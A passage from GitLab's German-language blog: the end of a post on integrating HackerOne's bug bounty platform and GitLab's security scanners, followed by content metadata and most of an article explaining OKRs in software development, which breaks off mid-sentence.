Dieser Crowdsourcing-Ansatz hilft GitLab, potenzielle Sicherheitsprobleme effektiver zu erkennen und zu beheben.\n\n![Bug-Bounty-Seite für GitLab auf HackerOne](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/hackerone_gitlab_bug_bounty_page_aHR0cHM6_1750097509645.png)\n\nIndem Unternehmen die Plattform und die globale Hacker(innen)-Community von HackerOne nutzen, können sie ihre Sicherheitslage deutlich verbessern, Sicherheitslücken schneller erkennen und potenziellen Bedrohungen immer einen Schritt voraus sein.\n\n## Sichere deine Anwendungen und verbessere die Effizienz mit GitLab\n\nGitLab ist eine umfassende DevSecOps-Plattform mit Funktionen für den gesamten Software-Entwicklungsprozess und enthält unter anderem auch Sicherheits- und Compliance-Tools. GitLab unterstützt die folgenden Arten von Sicherheitsscannern:\n- Statische Anwendungssicherheitstests (SAST)\n- Dynamische Anwendungssicherheitstests (DAST)\n- Container-Scanning\n- Abhängigkeitssuche\n- Infrastructure-as-Code-Scanning\n- Abdeckungsgesteuertes Fuzzing\n- Web-API-Fuzzing\n\nMit GitLab kannst du Sicherheitsscans hinzufügen, indem du einfach eine Vorlage auf deine CI/CD-Pipeline-Definitionsdatei anwendest. Ein SAST kann beispielsweise mit einigen wenigen Zeilen Code in der Datei `.gitlab-ci.yml` hinzugefügt werden:\n\n```yaml\nstage:\n  - test\n\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n```\n\nDadurch wird der SAST in der Testphase ausgeführt und es werden [automatisch die verwendeten Sprachen in deiner Anwendung erkannt](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks). Wenn du dann einen Merge Request erstellst, erkennt der SAST Sicherheitslücken im diff zwischen dem Feature-Branch und dem Zielbranch und stellt relevante Daten für die einzelnen Sicherheitslücken bereit, damit diese behoben werden können.\n\n![NoSQL-Injection-Sicherheitslücke im MR](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750097509647.png)\n\nDie Ergebnisse des SAST-Scanners können das Zusammenführen von Code blockieren, wenn Sicherheitsrichtlinien eingehalten werden müssen. Native GitLab-Benutzer(innen) können als Genehmiger(innen) festgelegt werden, sodass die erforderlichen Überprüfungen vor dem Zusammenführen von unsicherem Code durchgeführt werden müssen. Dadurch wird sichergestellt, dass alle Sicherheitslücken von den zuständigen Personen überwacht werden.\n\n![Genehmigungsrichtlinie für Merge Requests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097510/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750097509649.png)\n\nHackerOne hat GitLab auf verschiedene wichtige Arten in seine Betriebs- und Entwicklungsprozesse integriert, was zu Verbesserungen des Entwicklungsprozesses und einer verbesserten Skalierbarkeit und Zusammenarbeit geführt hat. Zu diesen Verbesserungen gehören schnellere Bereitstellungen und teamübergreifende Planung.\n\n## Hauptvorteile der GitLab-Integration von HackerOne\n\nWerden HackerOne und GitLab zusammen genutzt, erwarten dich folgende Hauptvorteile:\n\n* **Verbesserte Transparenz bei der Sicherheit:** Entwicklungsteams erhalten sofortige Einblicke in Sicherheitslücken, ohne ihre primäre Workflow-Umgebung verlassen zu müssen. Durch diese Erkenntnisse in Echtzeit können Teams Sicherheitsprobleme priorisieren und trotzdem die Entwicklung von Funktionen vorantreiben.\n* **Optimierter Prozess zur Fehlerbehebung:** Indem HackerOne-Berichte direkt in GitLab-Tickets umgewandelt werden, wird die Fehlerbehebung Teil des Standardentwicklungszyklus. Dadurch entfällt der Kontextwechsel zwischen Plattformen und Sicherheitsfixes werden zusammen mit anderen Entwicklungsarbeiten nachverfolgt.  \n* **Raschere Fehlerbehebung:** Die Integration verkürzt die Zeit zwischen der Entdeckung und der Behebung von Sicherheitslücken erheblich. Da HackerOne-Beiträge sofort in GitLab verfügbar sind, können Entwicklungsteams ohne Verzögerung mit der Behebung der Fehler beginnen und so die allgemeine Sicherheitslage verbessern.\n***Verbesserte Zusammenarbeit:** Sicherheitsexpert(inn)en, Sicherheitsteams und Entwickler(innen) können durch diese Integration effektiver kommunizieren. Kommentare und Aktualisierungen werden zwischen beiden Plattformen synchronisiert, wodurch eine kollaborative Umgebung entsteht, bei der die Verbesserung der Sicherheit im Vordergrund steht.\n* **Praktische Auswirkungen:** Unternehmen, die die Integration von HackerOne und GitLab implementiert haben, berichten von folgenden Vorteilen:  \n  * Bis zu 70 % kürzere Zeit von der Entdeckung bis zur Behebung von Sicherheitslücken\n  * Höhere Zufriedenheit der Entwickler(innen), da sie in ihrem bevorzugten Workflow bleiben können\n  * Verbesserte Transparenz hinsichtlich der Sicherheit im gesamten Unternehmen  \n  * Effektivere Zuweisung von Sicherheitsressourcen\n\n> Sieh dir jetzt die [Seite zur Einrichtung der Integration](https://docs.hackerone.com/en/articles/10394699-gitlab-setup) an, um sofort loszulegen.\n\n## Mehr erfahren\n\nWeitere Informationen zu GitLab und HackerOne sowie darüber, wie du deine Sicherheitslage verbessern kannst, findest du in den folgenden Ressourcen:\n* [Nutzung der GitLab-Integration von HackerOne (nur in englischer Sprache verfügbar)](https://docs.hackerone.com/en/articles/8571227-gitlab-integration)  \n* [Bug-Bounty-Programm von GitLab in Zusammenarbeit mit HackerOne (nur in englischer Sprache verfügbar)](https://hackerone.com/gitlab?type=team)\n* [Sicherheits- und Compliance-Lösungen von GitLab](https://about.gitlab.com/de-de/solutions/security-compliance/)  \n* [HackerOne erreicht 5 x schnellere Implementierungen dank der integrierten Sicherheit von GitLab](https://about.gitlab.com/de-de/customers/hackerone/)  \n* [Dokumentation zur Anwendungssicherheit von GitLab](https://docs.gitlab.com/ee/user/application_security/)  \n",[765,767,235,285,746,787,1855],"bug bounty",{"slug":1857,"featured":6,"template":682},"enhance-application-security-with-gitlab-hackerone","content:de-de:blog:enhance-application-security-with-gitlab-hackerone.yml","Enhance Application Security With Gitlab Hackerone","de-de/blog/enhance-application-security-with-gitlab-hackerone.yml","de-de/blog/enhance-application-security-with-gitlab-hackerone",{"_path":1863,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1864,"content":1870,"config":1876,"_id":1878,"_type":16,"title":1879,"_source":17,"_file":1880,"_stem":1881,"_extension":20},"/de-de/blog/what-are-okrs",{"title":1865,"description":1866,"ogTitle":1865,"ogDescription":1866,"noIndex":6,"ogImage":1867,"ogUrl":1868,"ogSiteName":1396,"ogType":1397,"canonicalUrls":1868,"schema":1869},"Wie OKRs deine Software-Entwicklung voranbringen","Die weltweit größten Unternehmen vertrauen auf OKR. Hier bekommst du den besten Einstieg im Netz.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663217/Blog/Hero%20Images/AdobeStock_790549874.jpg","https://about.gitlab.com/blog/what-are-okrs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Wie OKRs deine Software-Entwicklung voranbringen\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2025-04-02\",\n      }",{"title":1865,"description":1866,"authors":1871,"heroImage":1867,"date":1872,"body":1873,"category":976,"tags":1874,"updatedDate":1872},[701],"2025-04-02","# Wie OKRs deine Softwareentwicklung voranbringen\n\nObjectives & Key Results – Ziele und Schlüsselergebnisse. Das klingt zunächst einmal recht einfach. Und nahezu alle, die mit OKRs arbeiten, können bestätigen, dass die Methode denkbar unkompliziert ist.\n\nDennoch wurden einige der wertvollsten Unternehmen der Gegenwart auf dieser rasch erlernbaren Methode aufgebaut. Von Google über Intel bis hin zu Apple – OKRs haben die Welt der Planung und Organisation im Sturm erobert.\n\nIn der Softwareentwicklung lassen sich OKRs organisch in agiles Management und in die unterschiedlichsten Strukturen einbinden. OKR ist ein Managementansatz, der schnell und ohne hohen finanziellen Aufwand umgesetzt werden kann. Das macht ihn geradezu ideal für kleine und mittelständische Unternehmen.\n\nIn diesem Artikel zeigen wir dir, wie du OKRs für das Formulieren und Erreichen deiner Entwicklungsziele einsetzen kannst und was es dabei zu beachten und zu vermeiden gilt.\n\n## Was sind OKRs?  \n\nOKR ist ein Ansatz, der das Erreichen qualitativer betrieblicher Ziele an empirisch messbare Ergebnisse bindet.  \n\nDer Begriff beinhaltet zwei Teile:\n\n**Objectives** – hierbei handelt es sich um die zu erreichenden Ziele.\n\n**Key Results** – dies sind die Kennziffern, mit denen du überprüfen kannst, ob das Ziel erreicht wurde.\n\nWenn du mit OKR arbeitest, setzt du dir somit klare, am Kundennutzen ausgerichtete Ziele, und prüfst während ihrer Umsetzung kontinuierlich und anhand eindeutig quantifizierbarer Werte, ob du Fortschritte machst.\n\n## OKR-Methode: Ein Beispiel  \n\nWie sieht dieser Prozess beispielsweise in der Entwicklungspraxis aus?\n\nNehmen wir an, aus Feedback-E-Mails sei hervorgegangen, dass deine international aktiven Kunden nicht zufrieden sind mit der Funktionalität deiner Buchhaltungssoftware. Du möchtest deswegen ein neues Feature entwickeln, das internationalen Geschäften automatisch die korrekten und erforderlichen Informationen, Vorlagen und Umsatzsteuereinstellungen bereitstellt. Nutzer(innen) brauchen nur noch das Land einzustellen und die Software kümmert sich um die korrekte Abwicklung.\n\nAls Ziel gibst du deinem Team vor, die Software so zu erweitern, dass sie euren bestehenden Kunden die Rechnungsstellung und Buchung grenzüberschreitender Transaktionen spürbar erleichtert.\n\nFolgende Key Results sollen den Erfolg des Projekts ermitteln:\n\nDie Anzahl der Beschwerde-E-Mails zu diesem Thema soll auf Null reduziert werden.\nDas Rating der Software auf Bewertungsportalen soll um mindestens 0,5/5 Punkte gesteigert werden.\n\nDie Aktion soll zu mindestens 500 Neukunden führen.\n\nDieses Beispiel macht klar, wie einfach OKRs umzusetzen sind. Und auch, wenn solche OKR-Beispiele trivial klingen mögen - in der betrieblichen Praxis ist es das keineswegs.\n\n## Fokus: Warum OKRs ein Gamechanger sind\n\nAuch, wenn OKRs keine revolutionäre neue Methode darstellen, so bieten sie doch eine neue Weise, über Management zu denken.\n\nDank OKRs können Ziele zum einen nicht mehr von Ergebnissen getrennt werden.\n\nDas Formulieren von Zielen bringt dein Unternehmen nur dann nach vorne, wenn du sie überprüfen kannst. Und die Arbeit an einem Projekt war nur dann erfolgreich, wenn du nachweisen kannst, dass die angestrebten Ziele erreicht wurden.\n\nZweitens legt OKRs großen Wert auf objektivierbare Ergebnisse. Gerade in Unternehmen, die noch mit traditionellen Top-Down-Hierarchien arbeiten, liegt es oftmals im Ermessen der oberen Managementebenen, die Ergebnisse aufgrund „heuristischer” Verfahren oder schlicht persönlicher Einschätzung zu beurteilen. Das führt zu Verzerrungen und Fehleinschätzungen.\n\nDie Key Results in OKRs hingegen sind unzweideutig. Entweder ein Schlüsselergebnis wurde erreicht oder nicht.\n\nOKRs bieten ein einfaches System mit einer komplexen Wirkung. Es reduziert den gesamten Planungsprozess auf nur zwei Komponenten. Gerade innerhalb einer zunehmend komplexen Wirtschaft ist das ein deutlicher Vorteil gegenüber anderen Ansätzen.\n\nDieses Prinzip wird oft auch unter dem Punkt „Fokus” zusammengefasst, also der scharfen Ausrichtung ihrer Planung auf klar umrissene Ziele und Ergebnisse. Fokus ist eine der fünf sogenannten “Superkräfte” der OKRs.\n\n## Warum OKRs Outcome statt Output betonen\n\nDer Unterschied zwischen Outcome und Output scheint rein semantischer Natur zu sein. In OKRs jedoch trennen die beiden Begriffe Welten.\n\nEinfach gesagt ist ein Output eine Leistung, die du für deinen/deine Kunden(in) erbringst. Das kann beispielsweise ein neues Software-Feature sein. Ein Outcome orientiert sich darüber hinaus noch dafür, welchen Nutzen dieses Feature dem/der Kunden(in) konkret bietet.\n\nOKRs sollten immer so formuliert werden, dass sie den Outcome in den Mittelpunkt stellen. Das bedeutet zugleich, dass sich Milestones – Meilensteine in der Produktentwicklung – in diesem Rahmen nicht eignen, da sie in der Regel Output-orientiert sind.\n\nOKRs sind keine Aufgabenliste, die du abarbeitest. Sie orientieren sich stets daran, dem/der Kunden(in) größtmöglichen Nutzen zu bieten.\n\n## Es gibt drei verschiedene Arten von Objectives\n\nEin weiterer wichtiger Aspekt, der die OKR-Methode deutlich interessanter macht, als sie auf den ersten Blick erscheinen mag, ist die Unterteilung der Ziele in drei Typen: Committed, Aspirational und Learning.\n\n**Committed Objectives** sind Ziele, für deren Umsetzung du dich fest verbürgst. Es gibt hier keinen Spielraum: Es gilt, ein Objective umzusetzen und entweder es wird zu 100 % umgesetzt oder gar nicht.\n\n**Aspirational Objectives**, auch gelegentlich als „Stretch objectives” bezeichnet, gehen einen Schritt weiter. Diese Ziele haben den Charakter von Idealen oder, um ein beliebtes Wort zu gebrauchen, „Visionen”. Sie stehen für Ansprüche, die du an dich und dein Unternehmen stellst, aber vielleicht zu diesem Zeitpunkt noch nicht erfüllen kannst.\n\n**Learning Objectives** kommen immer dann zum Tragen, wenn es vor allem darum geht, mit der Arbeit an bestimmten Zielen den eigenen Horizont zu erweitern oder mehr Daten zu sammeln, um die eigentlichen Ziele klarer erfassen zu können.\n\n## Die besondere Bedeutung von Stretch Goals\n\nMan kann OKRs auch ohne Stretch Goals einsetzen. Dennoch sind es gerade diese ambitionierten Ziele, die diese Managementmethode so beliebt gemacht haben. Der durchschlagende Erfolg, den OKRs in den frühen Jahren von Google und bei Intel verzeichneten und der beide Unternehmen gegenüber der Konkurrenz entscheidend nach vorne gebracht hat, beruht zu einem wesentlichen Teil auf ihnen.\n\nAuch aus diesem Grund ist „Stretching” einer der Kernaspekte der OKR-Methode und eine der fünf OKR-Superkräfte.\n\nStretch Objectives sind nicht erreichbar. Aber genau wie ein Muskel nur wachsen kann, wenn er immer wieder über seine aktuelle Belastbarkeit hinaus beansprucht wird, kann auch eine Organisation nur Fortschritte machen, wenn sie ihre Grenzen erforscht. Aspirational Goals sind der Baustein der OKR-Methode, der genau dies anstrebt.\n\nDas besondere: Stretch Objectives sind keine langfristigen Leitbilder, sondern sie sind durchaus praktisch angelegt. Sie können sowohl auf niedriger als auch auf hoher Hierarchieebene Anwendung finden und stehen neben „Committed Objectives”, die zu 100 % erfüllt werden sollen.\n\nDie Idee dahinter: Auch, wenn du vielleicht nur 70 % eines epischen Ziels erreichst – und im eigentlichen Sinne an deiner Aufgabe gescheitert bist, kann das, was am Ende dabei herausgekommen ist, dennoch bemerkenswert sein.  \n\n## Google Chrome: Stretching in der Praxis\n\nDie Energien, die beim Stretching freigesetzt werden, sind in der Praxis oftmals erstaunlich. Eines der meistzitierten Beispiele für OKRs  ist, wie Google den Markt für Webbrowser mit Chrome geradezu überrollte.\n\nDas erklärte Ziel (Objective) des Unternehmens lautete 2006, den besten Browser der Welt zu entwickeln. Als Key Result wählte man schlicht die globalen Nutzerzahlen: Man wollte nach Abschluss des ersten Jahres nach Einführung von Chrome die Zahl von 20 Millionen Usern erreichen.\n\nDieses Ziel verfehlte der mit der Leitung des Projekts beauftragte Sundar Pichai deutlich – es waren nur 10 Millionen. Statt den Kopf hängen zu lassen, betrachtete er das Ergebnis aus der Perspektive des Stretchings: 10 Millionen User aus dem Stand heraus war eine geradezu astronomisch hohe Zahl und belegte, dass man auf dem besten Weg war.\n\nNiemand wollte den Erfolg mehr als Pichai, der laut einem Business-Insider-Portrait zu Sundar Pichai sogar maßgeblich daran beteiligt war, die Google-Gründer von dem Chrome-Projekt zu überzeugen. Und so gab er für das nächste Jahr das Key Result von 50 Millionen vor. Es wurden 37 Millionen. Im letzten Jahr der Offensive schließlich lautete die Vorgabe 100 Millionen Benutzer. Diese überbot Pindar sogar um 11 Millionen. 2011 hatte Chrome den langjährigen Marktführer, Microsofts Internet Explorer, überholt und war zum meistgenutzten Browser geworden. Eine schöne Übersicht zu dieser Erfolgs-Story gibt es bei Digitalcoach.\n\nHieraus wird ersichtlich, dass Stretching, wenn es konsequent und auf das richtige Produkt angewandt wird, ein enormer Motivations-Booster sein kann.\n\nWie fügen sich diese Prinzipien zu einem kohärenten Framework zusammen? Durch Alignment, Commitment und Tracking.\n\n## Alignment: Alle machen mit\n\nDas OKR-Framework ist auf eine natürliche Art und Weise mit dem Agile-Framework verbunden. Ein wesentlicher Punkt ist, dass Objectives and Key Results Teil der Arbeitsorganisation auf jeder Ebene deines Unternehmens werden müssen.\n\nDas bedeutet, dass die oberen Ebenen OKRs nach unten delegieren, aber untere Ebenen auch OKRs nach oben weiterleiten. Es findet ein ständiger Austausch statt. Anstatt sich nur darauf zu konzentrieren, starr Ziele umzusetzen, wird den Teams viel Spielraum zur Entfaltung gewährt.\n\nSich aktiv an der OKR-Planung und den Rückmeldungsschleifen zu beteiligen, ist ein integraler Teil der Philosophie.\n\nMan bezeichnet diesen Prozess auch als “Alignment”, also die kontinuierliche Ausrichtung und Abstimmung zwischen verschiedenen Teams und Hierarchien. Daten fließen stets sowohl von unten nach oben und von oben nach unten und auf einer horizontalen Ebene in alle Richtungen.\n\nOKRs verschmelzen zudem Planung und Ausführung und überbrücken damit eine der traditionell größten Lücken in der Planerfüllung.\n\n## Commitment: Motivation\n\nEng verbunden mit dem Alignment ist das Commitment, also der Wunsch, dass sich alle Mitarbeiter(innen) einer Organisation voll und ganz mit einem Ziel identifizieren und sich dessen Erreichung verschreiben. Je mehr es für den/die Einzelnen(e) erkennbar wird, wie er/sie zum Erreichen beiträgt, desto höher wird seine/ihre Motivation sein, produktiv dazu beizutragen.\n\nEs war dieser Aspekt in Kombination mit einer flachen Hierarchie, der OKRs bei Intel und Google so effektiv machte. Von Anfang an war allen Beteiligten klar, dass man in einem Boot saß und dass jeder(e) seinen/ihren Beitrag leisten konnte.\n\nAlignment und Commitment sind zwei weitere Superkräfte des OKR. Sie werden ganz unmittelbar durch das Tracking unterstützt.\n\n## Tracking: Ergebnisse fassbar machen\n\nTracking bezeichnet den praktischen Prozess der Erfassung der Key Results.  Erst durch Tracking wird die OKR-Planung agil und aus einer Reihe von Vorgaben ein System zur Zielerreichung. Wegen dieser zentralen Rolle ist Tracking die letzte der fünf Superkräfte der OKRs.\n\nOKRs sind aufgrund der ständigen Kontrolle und des Fokus auf Objektivierbarkeit eng mit der agilen Methodologie verbunden. Ziele werden ständig auf ihre Erreichbarkeit hin getestet und gegebenenfalls neu formuliert.\n\nSolange die Key Results sinnvoll gesetzt sind, sollte das Tracking nicht kompliziert sein. Komplexer und umstrittener gestaltet sich hingegen die Frage, wie die Ergebnisse anschließend bewertet werden sollen.\n\nEigentlich geben OKRs vor, dass Ziele zu 100 % erreicht werden sollen. Für manche Unternehmen aber ist dieses Denken, so nützlich es sich in der Praxis oftmals auch erweist, zu Schwarzweiß. Sie bevorzugen es, innerhalb eines Systems zu arbeiten, bei dem Ergebnisse abgestuft bewertet werden, so dass auch ein Nichterreichen nicht sofort als ein „Scheitern” eingestuft werden muss.\n\nGrading ist die Antwort auf diesen Wunsch.\n\n## Was ist Grading in OKRs? \n\nBeim Grading werden die Key Results entweder prozentual oder mit farblichen oder symbolischen Abstufungen bewertet, die es ermöglichen, das weitere Vorgehen genauer zu bestimmen.\n\nWar der angesetzte Zeitraum zu kurz? Das Ziel zu hoch gesteckt? Oder konnte das Ziel zu diesem Zeitpunkt grundsätzlich nicht erreicht werden? Diese Fragen werden im Grading beantwortet, um anschließend neue OKRs zu setzen.\n\nAuch bei Stretch Objectives kann Grading zur Anwendung kommen. Waren die 10 Millionen Chrome-Nutzer nach Ende des ersten Geschäftsjahres ein Triumph trotz Zielverfehlung - oder eben doch ein Misserfolg? Grading kann helfen, hier zu zufriedenstellenden Einschätzungen zu gelangen.\n\n## OKRs: Eine Vorlage\n\nUm mit OKRs zu arbeiten, brauchst du keinen Kurs zu belegen. Die Methode ist so intuitiv, dass du im Grunde genommen sofort damit anfangen kannst.\n\nDas Festlegen von OKR-Zielen wird den Meisten dabei noch recht leicht von der Hand gehen.\n\nEs hilft, als OKR Vorlage folgende Formulierung zu wählen:\n\n**„Wir werden [Ziel], gemessen in [Schlüsselergebnisse]”**\n\nDas mutet noch etwas abstrakt an. Anhand eines OKR-Beispiels wird dir aber recht schnell klar werden, wie so ein Satz konkret aussehen kann. Erinner dich daran, wie wir vorher beschrieben haben, wie Google den Chrome-Browser zum meistbenutzten der Welt machte. Sundair Pindai gab damals schlicht das folgende Objective aus:\n\n„Wir werden Chrome zum besten Browser machen ...”\n\nUnd das dazugehörige Key Result:\n\n„... gemessen an 20 Millionen Nutzern.”\n\n### Sind alle OKR-Ziele Stretch Objectives?\n\nGanz gewiss muss nicht bei jedem Objective gestretcht werden. Man kann sogar mit Recht behaupten, dass zu viel Stretching im wahrsten Sinne des Wortes die Organisation auf die Zerreißprobe stellen kann.\n\nWohl aber empfiehlt es sich, die OKR-Ziele so zu setzen, dass sie nicht „alltäglich” sind. Sie sollen eine Herausforderung darstellen und Zweifel an ihrer Erreichbarkeit immer gegeben sein.\n\nDiese Spannung ist ein wichtiger Aspekt dabei, dass OKRs Innovation und Motivation in deinem Unternehmen erhöhen. Sie fördern ein gesundes, mitarbeitergetriebenes Wachstum.\n\n## OKRs tracken\n\nAus diesem Beispiel geht hervor, dass die Key Results die eigentliche Herausforderung darstellen. Um beim Chrome-Beispiel zu bleiben: Dass die Nutzerzahlen wirklich der Maßstab für Qualität sind („der beste Browser”), ist nicht direkt ersichtlich.\n\nIm Zweifelsfall ergibt es Sinn, sich für solche unmittelbar fassbaren und einfach zu trackenden Werte zu entscheiden. Wenn sich auf dem Weg zum Ziel bessere Key Results offenbaren, ist es einfacher, diese anzupassen, als das ursprüngliche Ziel aufzugeben.\n\nSicher spielte für Sundar Pinchai eine Rolle, dass die Google-Geschäftsleitung nach seiner Überzeugungsarbeit den Browser-Krieg zur Chefsache gemacht und den „Sieg” zu einer strategischen Priorität erklärt hatte.\n\nDas eigentlich Entscheidende aber ist, dass Key Results auf Erfahrungswerten aufbauen und von den Teammitgliedern gesetzt werden, die eine kompetente Aussage über ihre Erreichbarkeit (oder Nichterreichbarkeit) machen können. Nur, wer die Key Results auf Daten aufbaut, kann erwarten, dass die Ergebnisse den Key Results entsprechen.\n\n## Wer ist für die Umsetzung der OKRs verantwortlich?\n\nBei Objectives and Key Results sind alle Teams sowohl für sich als auch kollektiv verantwortlich für das Erreichen oder Verfehlen der Ziele. Eine strenge „Kontrollinstanz” würde dem intrinsischen Charakter widersprechen.\n\nDennoch empfiehlt es sich, eine oder sogar zwei Personen in deiner Organisation damit zu beauftragen, den OKR-Prozess am Laufen und auf Kurs zu halten und gegebenenfalls sanft gegenzusteuern oder mit den Teams an allgemeinen Verbesserungen zu arbeiten.\n\nDies ist die Aufgabe des/der OKR Masters, gelegentlich auch „OKR Champion\" oder „OKR Coach\" genannt.\n\nDie Agile Heroes definieren in ihrem Artikel zum Thema OKR Master den/die OKR Master als „die Person im Unternehmen, die die Mitarbeiter(innen) dabei unterstützt, OKR bestmöglich zu verstehen und umzusetzen.”\n\nOKR Master sind in der Regel vor allem an der Erarbeitung und Kommunikation der OKRs beteiligt. Sie stoßen den Prozess an, halten sich aber danach zumeist eher im Hintergrund. Im Idealfall scheiden sie kurz nach Beginn des Projekts aus dem aktiven OKR-Prozess aus.\n\nGelegentlich wird noch der/die OKR-Botschafter(in) unterschieden (OKR Ambassador), die üblicherweise mit dem/der Teammanager(in) zusammenfällt. Sein/ihre Aufgabe besteht in der Koordination und Begleitung der praktischen Arbeit, der Beantwortung von Fragen und der Erstellung der abschließenden Auswertung. \n\n## Wie OKRs eine Eigendynamik entwickeln\n\nObjectives and Key Results ist keine Methode, die deiner derzeitigen Organisation gewaltsam übergestülpt wird. Sie ist auch kein Gegenmodell zu KPIs. Während KPIs sich auf die Leistungsbewertung konzentrieren, setzen OKRs einen Schritt vorher, bei der Zielsetzung selbst, an.\n\nDas Besondere an OKRs besteht darin, dass die Vorteile sich selbst verstärken und sich so zunehmend auf das gesamte Unternehmen und alle Prozesse auswirken:\n\nWeil OKRs Teams zu mehr Eigenengagement zwingen, entwickeln diese wiederum die Kompetenzen, um aus Eigeninitiative heraus selbst Ziele vorzuschlagen und umzusetzen.\nWeil OKRs die Zusammenarbeit zwischen Teams erfordern, stärken sie den inneren Zusammenhalt der Organisation. Dies wiederum erleichtert die zukünftige Zusammenarbeit.\nEine höhere intrinsische Arbeitsmotivation erlaubt die Umsetzung komplexerer, anspruchsvollerer OKR-Ziele, die wiederum eine höhere Motivation und Zufriedenheit bieten.\nWenn Tracking konsequent nur als Maßstab zur Zielerreichung genutzt wird und nicht zur Leistungsbeurteilung, spornt es alle Mitarbeiter(innen) zu vollem Einsatz an.\nTracking kann auch offenbaren, wo Optimierungsbedarf besteht, was wiederum die Arbeit mit OKRs erleichtert.\nErfolgreich absolvierte Objectives oder auch annähernd erreichte Stretch Objectives können als Erfolg aller Mitarbeiter eines Projekts, nicht nur der unmittelbar Verantwortlichen, gefeiert werden.\n\n## OKRs: FAQs\n\n### Sind OKRs Teil des agilen Managements?\n\nObjectives and Key Results sind auf jeden Fall eng mit den Prinzipien agilen Managements verbunden.\n\nHierfür spricht unter anderem, dass OKRs stets objektiv messbar sein müssen und bei dieser Methode großer Wert auf Feedback-Schleifen, regelmäßige Meetings und Teamarbeit gelegt wird.\n\nAus diesem Grund finden OKRs in ähnlichen Branchen und Unternehmen Anwendung wie agiles Management – unter anderem auch im IT-Bereich sowie in der Softwareentwicklung.\n\n### Kann ich OKRs mit Gitlab nutzen?\n\nBei GitLab sind wir von den Konzepten und Erfolgen von OKRs überzeugt. Deswegen arbeiten wir daran, dass du mit OKRs auch in GitLab arbeiten kannst.\n\nDas Projekt befindet sich aktuell noch in einer experimentellen Phase, ist aber durchaus praktisch anwendbar.\n\nMehr Informationen dazu findest du in unserem ausführlichen Artikel zu GitLab und OKRs (Englisch), in dem wir alle Schritte zur Umsetzung genau erklären.\n\n### Sind OKR dasselbe wie Management by Objectives?\n\nZwischen OKR und MBO (Management by Objectives) besteht ein enger Zusammenhang. Historisch sind Objectives & Key Results, wie die ähnliche Begrifflichkeit bereits nahelegt, aus MBO hervorgegangen.\n\nSo kann man Objectives and Key Results als Erweiterung und Neuausrichtung des in den 1950ern entwickelten Management by Objectives betrachten. Während MBO den Prozess genau vorgibt, tendenziell in langen Zyklen denkt, Outputs vorgibt und streng von einer Top-Down-Hierarchie ausgeht, fordert und fördert der OKR-Prozess kürzere Zyklen, Outcome statt Output und die Nutzung sowohl von Top-Down- als auch Bottom-Up-Flüssen.\n\nKurz gesagt: OKR ist die Umsetzung von MBO in einem Agile-Management-Framework.\n\n### Ist für die Einführung von OKRs ein Training erforderlich?\n\nEs wird gelegentlich gefordert, dass die Einführung von OKRs in einem Unternehmen über einen Sponsor und unter Begleitung von Trainern stattfindet.\n\nWir meinen: Tatsächlich empfiehlt sich die Unterstützung des OKR-Prozesses durch eine erfahrene Coaching-Persönlichkeit. Dies sollte sich aber nicht auf die Ersteinführung beschränken.\n\nEin OKR-Coach – auch OKR Master genannt – kann genau diese Aspekte begleiten und dazu beitragen, dass die verschiedenen Hierarchieebenen aufeinander abgestimmt werden und die Kommunikation der OKRs im Unternehmen stets offen, transparent und frei funktioniert.\n\nEin separates Training kann unter Umständen hilfreich sein, aber auch den Eindruck erwecken, dass OKRs ein komplexes Regelwerk beinhalten – was definitiv nicht der Fall ist.\n\n### Wie verhalten sich Objectives and Key Results zu Scrum oder Kanban?\n\nOKRs bilden eine Brücke zwischen verschiedenen agilen Management-Methoden.\n\nKPIs sind grundlegende, quantifizierbare Werte, welche ein Unternehmen selbst vorgibt. OKRs verbinden dieses Denken mit der praktischen Zielsetzungsebene und der Ausführung.\n\nAgile Führung mit OKRs kann sehr unkompliziert in einem Kanban-Board dargestellt werden. Weil Scrum selbst deutlich spezialisierter ist als Kanban, fallen die Unterschiede hier größer aus.\n\nWie die Computerwoche bemerkt, wird Scrum „meist in der Produktentwicklung eingesetzt, OKR dagegen findet überwiegend im gesamten Unternehmen Anwendung, die Produktentwicklung eingeschlossen.” Vielleicht gerade deswegen ergänzen sich die beiden geradezu optimal:\n\n„Zur Umsetzung von Zielen bedarf es mit rasch verändernden Anforderungen und Rahmenbedingungen einer iterativen und agilen Vorgehensweise. Hier kommt Scrum (oder ggf. Kanban) ins Spiel und ergänzt damit OKR ideal. Scrum (bzw. Kanban) unterstützt die operative Ausführung der Aufgaben, hilft bei der iterativen Umsetzung von Projekten und Aufgaben und trägt damit zum Fortschritt der Key Results bei.”\n\n### Erfordern OKRs eine ausführliche Dokumentation?\n\nNein. Viele Unternehmen verlangen, dass im Rahmen von Objectives and Key Results ausführlich der gesamte Prozess beobachtet wird und am Ende eines jeden Zyklus die Ergebnisse in einem Report zusammengefasst und analysiert werden.\n\nDies steht aber eher im Widerspruch zu der agilen Philosophie hinter dem Konzept.\n\nRichtig ist vielmehr: OKRs legen großen Wert auf Empirismus und Daten – aber nur die Daten, die zu Anfang als Key Results definiert wurden. Alles, was darüber hinausgeht, macht den OKR-Prozess weniger effizient und sollte deswegen auf ein Minimum beschränkt werden.\n\n### Sollen die Objectives bei OKRs gar nicht erreicht werden?\n\nDies ist ein durchaus beliebtes Missverständnis. Tatsächlich meinen viele, OKRs gäben vor, dass die Ziele so formuliert und die Key Results so gesetzt würden, dass sie innerhalb eines Zyklus überhaupt nicht erreicht werden könnten.\n\nEs stimmt, dass Objectives and Key Results Stretching als Motivationsmittel und ganz generell Zielvorgaben empfehlen, die über das zu Erwartende hinausgehen. Die meisten OKR-Ziele aber sind „lediglich” committed und sollen sehr wohl erfüllt werden – und zwar zu 100 %.\n\nStretching ist keine Anleitung dazu, das Unmögliche zu fordern, sondern ein Instrument, alle Mitarbeiter(innen) zu Höchstleistungen zu inspirieren und sich anschließend auch dann an dem 